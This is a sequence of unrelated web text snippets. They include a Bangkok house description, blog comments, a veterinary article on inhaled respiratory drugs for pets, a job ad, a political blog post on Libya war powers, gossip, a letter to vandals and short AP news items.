The place is located in Banglumpoo area, one of the oldest communities within Rattanakosin Island since Bangkok was founded as the capital of Thailand, where Thais, Muslims, and Chinese have spent their lives harmoniously from time to time. The cream and white painted house has been inherited through generations. However, the continuous maintenance can preserve its delicate beauty and original unique style, and makes the house strike the attention of all passers-by. The classical interior design in each high stylized room portrays the authentic arts of the Thai artisans. In particular, all rooms are designed distinguishably by shades of colors; old rose, fresh orange, off-white pink, lavender, which create different senses of feelings.
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Each year, VPI selects the most clever, creative and quirky names that pet insurance policyholders picked that year. This year, they culled it down to 50 unusual dog names and 50 unusual cat names out of a database of more than 500,000 insured pets. They then narrowed the lists down to the 10 most unusual names in each category.
Here are the 10 wackiest cat names of 2013:
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Monday, May 7, 2012
Fabric Tuesday #85!
7 comments:
- Jenelle said...
Thanks for featuring my cushion! Best of luck getting through the repetitive sewing too. I completely agree with you! Once is enough, then it's on to the next project. :)
- May 7, 2012 at 11:33 PM
- emedoodle said...
haha. I just came to link up after seeing the post in my reader -- It shows a message "...will open for new entries in 16 seconds." lol. really 16 seconds? :) I guess I'll take those seconds to thank you guys for hosting every week! It's a lot of fun seeing what everyone is working on!
- May 8, 2012 at 12:02 AM
- Beth said...
I've never of a quiet book club - yikes! Congrats on the almost anniversary.
- May 8, 2012 at 6:07 AM
- cinzia said...
great stuff as usual! i realy love that pink drawstring bag!
- May 8, 2012 at 6:28 AM
- Beverly {Flamingo Toes} said...
Thanks so much for the feature girls! The other projects are so amazing - thanks for including me!
- May 8, 2012 at 11:51 AM
- Cherilyn said...
I just posted to your link party and I am a new follower. I love all of the fun fabric ideas! Thanks for hosting!
- May 8, 2012 at 12:20 PM
- Deborah said...
I am a follower of yours! I love seeing Jenelle's lovely cushion! She's fabulous!
- May 8, 2012 at 1:01 PM


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As expected, the Bruins and Blake Wheeler made it official today by agreeing to the $2.2 million, one-year award from the arbiter that was announced Thursday.
This was a fair ruling, and the Bruins aren't in any bigger of a bind cap-wise than they were before the hearing. Considering Wheeler's numbers and age in relation to comparable players and their production, the Bruins aren't overpaying or underpaying for a legit top-six forward.
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November 1, 2012
As the largest community college in California, CCSF serves almost 100,000 students annually. The City is full of our former students. We touched their lives, and chances are a day doesn't go by without a City College graduate touching yours. And now we need your help. Vote for Prop A on the local ballot and Prop 30 on the statewide ballot this November.


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Inhalant therapy: Finding its place in small-animal practice
The use of inhaled respiratory medications in dogs and cats is becoming more common. Inhalant delivery of aerosolized medication offers a number of theoretical benefits, including an enormous absorptive surface area across a permeable membrane, a low enzyme environment that results in little drug degradation, avoidance of hepatic first-pass metabolism, and reproducible absorption kinetics. When the target of inhaled medications is the respiratory tract itself, additional benefits include the potential for attaining a high drug concentration directly at the disease site with minimal systemic absorption and toxicity. Often, therapeutic effect can be achieved with only a fraction of the dose required for systemic delivery of the same drug.1
Because of these advantages, inhalant delivery of medication has gained widespread use for treating airway diseases in people. More than 30 drugs licensed for people are available for inhalation, including anti-inflammatory drugs and bronchodilators. An enormous body of evidence in the medical literature exists regarding the efficacy and toxicity of inhalational drug therapy in people. In veterinary medicine, the literature on inhalant therapy to treat naturally occurring disease is sparse. Regardless, aerosol delivery of medication has become popular for treating dogs and, especially, cats with respiratory disease.
CAUTIONSAlthough inhalant drug delivery has many benefits, difficulties in using this route exist as well. Respiratory defenses are efficient at preventing particulates from reaching the lower airways, so it should come as no surprise that only a small proportion of the administered medication reaches the lower airways; a marked amount of drug is lost in the delivery device or deposited in the oropharynx.1 In animals, another portion will be deposited on the fur, especially if an animal is placed in a tent or tank, and can be ingested through grooming.
Another difficulty is that most aerosol drug delivery devices are designed to be used by people on a voluntary basis, and some require purposeful respiration and breath-holding. Adaptations of some devices facilitate their use in animals, and modified systems are now marketed for dogs and cats (e.g. Aerokat—Trudell Medical International; NebulAir Small Animal Chamber—DVM Pharmaceuticals; Breathe Easy—Jorgensen Laboratories).
Drug delivery by the aerosol route depends in part on respiratory depth and rate, tidal volume, and airflow rate, yet all of these may be negatively affected by respiratory disease. Additionally, not all drugs are suitable for aerosol delivery, and the drugs themselves (or preservatives contained in the drug preparation) may cause airway irritation and possible bronchoconstriction that could worsen respiratory function.
Two basic types of aerosol delivery systems are used in veterinary practice: nebulizers and pressurized metered dose inhalers (MDIs). The two are distinct devices with different uses. In general, nebulizers deliver much smaller particles, allowing deeper respiratory penetration, and provide fluid along with the drug.1 MDI devices deliver drugs primarily to the larger airways.
Basic nebulizer types include jet nebulizers and electronic nebulizers. Modifications exist (e.g. spinning disk nebulizers, vibrating mesh nebulizers) to improve delivery or modulate particle size.
How they work. Jet nebulizers have a compressed air or oxygen source, a well into which fluid or a drug can be placed, and a baffle that when hit by the drug creates small particles. Jet nebulizers tend to be larger and sturdier than electronic nebulizers. Electronic nebulizers use membrane vibration to produce an aerosol and are much smaller since no air compressor is required. However, in my and other clinicians' experience, electronic nebulizers tend to malfunction more easily than jet nebulizers do.


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ITV News is the most watched commercial television news programming in the UK, reaching nearly eight million viewers every day. Renowned for award-winning impartial and agenda-setting coverage, ITV News combines the expertise from its central London newsroom, the ITV regions and bureaux across the UK and the world. News exclusives and reporting are combined with insightful analysis by some of the world's best journalists, to produce distinctive picture-led coverage accessible to a widespread mainstream audience.
ITV News is looking for a talented Junior Camera Operator who has experience in filming, editing or photography and can demonstrate a natural flair for camera work. They will be responsible for gathering, filming and editing news and interviews in a clear and engaging way for broadcast.
You will have experience of working autonomously with broadcast technology and a creative, inquisitive eye. Physically and mentally robust, you should be prepared to work under pressure to tight deadlines in a wide range of newsgathering scenarios, from conflict zones to the halls of Westminster. Most importantly, you need to possess a real passion for news and an ambition to capture world-class picture-led journalism.
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Closing date: 25 January 2013.
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In a post here last week I expressed puzzlement and potential objection about the constitutional ambiguities of the command structure of our multinational Libyan enterprise. I wasn't concerned as much about whether our involvement requires congressional approval or not, though Lee Casey and David Rivkin, two of the right's favorite popular legal commentators, argued that Obama does not.
Well, one of my gurus in the area of international law, Michael Glennon of Tufts University, has weighed in against Casey and Rivkin today with a letter to the Washington Post, and along the way notes the problematic nature of Obama relying on a UN resolution. In short, Mike argues, Obama can't:
Contrary to the claim of David B. Rivkin Jr. and Lee A. Casey ["Obama's Libyan authority," op-ed, March 24], the U.N. charter and the Security Council resolution do not obligate the United States to use force in Libya; they merely authorize it. They cannot serve as a substitute for congressional approval for three reasons.
First, constitutionally, the House of Representatives cannot be cut out of the decision to go to war. Second, under the Supreme Court's 2008 Medellin ruling, the resolution and U.N. charter are non-self-executing, meaning that they are not domestic law, and the president therefore cannot rely on any power to take care that they be faithfully executed. Third, because neither is implemented by statute, the war powers resolution (in a provision that has never been challenged) precludes inferring from them any authority to use force.
What the president constitutionally needs from Congress he cannot get from the U.N. Security Council.
Glennon is the author of several leading books in the area of international law and diplomacy, including Limits of Law, Prerogatives of Power: Interventionism after Kosovo, and Constitutional Diplomacy. Sharp-eyed readers may raise an eyebrow to see that this latter book bears a forward from William Fulbright (who I always thought deserved to be known as Half-bright); Glennon began his career as a staffer with Fulbright way back in the MIddle Ages, but has since moved steadily to the right. I suppose the turning point might have come in 1984, when he was considering taking a job with Walter Mondale's presidential campaign. On the morning of his scheduled interview, his car wouldn't start. Divine providence (or a typical Minnesota winter) at work. Nowadays he's more likely to turn up in the Weekly Standard.
JOHN adds: I think Article II of the Constitution gives Obama all the authority he needs to order U.S. military forces to participate in the Libyan venture. I agree that if he lacks that authority under the Constitution, nothing the U.N. does can give it to him. Of course, constitutional authority is entirely different from prudence.
This goes back, in large part, to debates that raged during the Bush administration. At that time, liberals failed to recognize that the executive is an equal branch of government. Congress can no more take away the President's Article II powers through legislation than the President can take away Congress's Article I powers through executive order. Hence, the War Powers Resolution is unconstitutional, as every President from Jimmy Carter to the present has maintained. Of course, for many liberals constitutional principles have evolved–it's a living document, after all!–now that one of their own is in the White House.


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My last post started me thinking. To increase my awareness of the topic, I am also reading a very interesting book about the history of genealogy, as such, that reinforces my thoughts. (See Weil, François. Family Trees: A History of Genealogy in America. 2013). It is certainly true that genealogy and genealogist come from a highly checkered past. So why would anyone want to be associated with genealogy? I am not sure if that is a rhetorical question or not.
I fully realize after more than thirty years of doing genealogical research, that I am not going to become popular or even mildly tolerated by most people because of my genealogical interests. In fact, I have frequently been the target of outright hostility. But I don't really care about that aspect of the work. I am proud to be a genealogist for deeper reasons that popularity and social acceptance.
Take this blog for an example. There are thousands of topics I could have written about that would have been more popular. If I was seeking a large audience and popularity, I certainly choose the wrong subject matter. But the rewards are more than popularity, they go far deeper than making money or becoming well known. None of those categories fit at all well into the genealogical mold.
So what is the motivation and why would I continue to plod along, day after day, persistently adding to the pile of my family's history? I think the answer to that question is not simple. My personal motivations for doing genealogy, teaching genealogy and writing about it, day after day, can hardly be either easily or briefly explained. The easiest explanation for my passion for genealogy, would be to attribute it to some of my basic religious beliefs. But I share those religious beliefs with lots of other people and very, very few of those people have even a passing interest in genealogy. In fact, some of them are the most hostile. So, although there may be religious component, it is not a satisfying answer to the basic question.
Basically, I started and I would like to see the job through to the end. In my heart, I know this is not possible, but until the last name on the most remote family is accounted for, I will keep working.
In my case, genealogy is more of a compulsion, rather than an interest. It is due more to need and desire than to any sense of duty or obligation. I see it as a positive task that needs to be done and needs to be done right. When I see the mistakes of the past, I look on those mistakes as opportunities to make corrections. Like art and music, genealogy is worth doing for its own sake and needs no deep or philosophical justification. Besides, after working with living clients for the past 39 years, it is refreshing to deal with dead ones.
No matter what the motivation, I am proud and happy to be a genealogist. I don't really care if people ignore me or whatever because of my interest, but I will continue to work until I am too old to do so.
Thursday, May 16, 2013
Why I am proud to be a genealogist and do not apologize to anyone
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Kevin Durant Dating Ex-Destiny Child's Member Letoya Luckett (Photos)
Depending on your definition of "dating", KD and Letoya Luckett could be seen as a couple, but I don't think it is as serious as some of t are making it out to be. I prefer the phrase, I am superstar NBA player so if I want to hang with kicked out members of Destiny Child's I am going to make it happen. Letoya has dated athletes before (more than a few) most notably Matt Kemp of Dodgers.
Here is a photo of Latoya and KD in Vegas.
They also hung out a bit in DC a few weeks ago and do that silly thing where they like each other Instagram photos.
But, I wouldn't call them the next Brad and Angelina just yet or even the next D Wade and Gabby (hope KD never paints his toenails black if he does get involved with Letoya long-term), so take a sip of the Capri Sun and chill, with that being said………..
I ain't mad at you KD, I ain't mad at you at all……..


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Vandals provide life lesson
Written by Jill Jorgenson, Gothenburg Thursday, 26 July 2012 13:58
This is to the person/persons responsible for breaking out the back window of our van with your beer bottle. Let me start by saying how impressed I am by your strength and accuracy. I must say that I am disappointed that I didn't get to witness the explosion, as I'm sure it must have been a great one. With glass spread from the dash to the middle of the street it must have been impressive!
I would like to take this opportunity to thank you. When I got up early Sunday morning with the intention of going to work for a few hours before church you helped me see the importance of taking Sundays off. It reminded me the importance of doing for others, like, trying to get all of the glass off the street and sidewalk so that our children and the many young neighbor children do not get cut. Also, because of your example it was very easy to teach an important life lesson for our children. Through your actions it was a good way to show our children that some people can and do make rational and intelligent decisions when they drink to excess.
Finally, thank you for forcing us to spend money, we had worked so hard for, on something practical and necessary, like a van window, instead of spending it the way I had intended, doing something fun with our family. Which is both frivolous and a luxury.
Again thank you for making us your target. Please do not feel the need to share your kindness and consideration with others, as I'm afraid you will only be disappointed with the lack of enthusiasm that you will make others feel.


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Hi Everyone:: Any advice would be much apperciated. I graduated in May 2006 with a B.S. in English and Political Science from a moderately small school in Texas. I have a 2.89 GPA and a 151 LSAT score. That being said, I also have a lot of political experience and interesting jobs under my belt. I work for a lawyer now, and I am finally 100% sure that I want to go to law school. I'm not too interested in working for a big firm. I'd just like to get my law degree and work for the government or something. Are these schools realistic?:And if any of these schools "unstable", please let me know!Also, would applying to part-time programs help my chances?I'm totally fine with going to a part time program. Atlanta's John Marshall Florida Coastal New England School of LawNew York Law SchoolSt. Mary's Southern Illinois Regent LawTexas Wesleyan **WashburnWestern New England Loyola University New Orleans** maybe first choice.
Well, I recommend that you scratch Loyola Law New Orleans right off of your list of desirable places to attend. Read the story posted at the following link. The story begins at LSU Law school and continues through my time at Loyola New Orleans. It all happened, its all true. And if you do decide to attend Loyola Law New Orleans, give me a wave as I cruise past in my blue Dodge pick up.http://www.xoxohth.com/thread.php?thread_id=482613&mc=57&forum_id=2


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BOSTON (AP) — Republican presidential candidate Mitt Romney says the latest disappointing jobs report shows President Barack Obama's policies are not working and the country deserves new leadership.
Romney says news that employers created only 96,000 jobs last month is giving Americans a hangover the morning after Obama's closing speech to the Democratic National Convention.
The unemployment rate fell to 8.1 percent from 8.3 percent in July, but only because more people gave up looking for work.
The Republican called the news "more of the same for middle-class families who are suffering through the worst economic recovery since the Great Depression."
Romney released the statement before a campaign trip to Iowa. He says his economic plan will create 12 million new jobs by the end of his first term.


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Grand Rapids Man Charged With Murder After Victim Dies
GRAND RAPIDS (AP) - A northern Minnesota man is now charged with murder after one of the victims of a double shooting in Grand Rapids died.
Itasca (eye-TAS'-kuh) County Attorney John Muhar on Monday amended the complaint against 26-year-old William Levi Payne of Bovey (BOH'-vee) to add one count of second-degree murder.
Payne remains charged with first-degree attempted murder, as well as kidnapping, terroristic threats, burglary, assault and violating an order for protection.
Payne is charged in connection with the Dec. 22 shooting of 59-year-old Rosemary Oberg-Johnson and her son, Paul Russell Johnson.
Oberg-Johnson died last week. Paul Johnson remains in critical condition at a hospital in Duluth.
At the request of defense attorneys, the court on Monday ordered an evaluation to determine whether Payne was legally insane at the time of the shootings.
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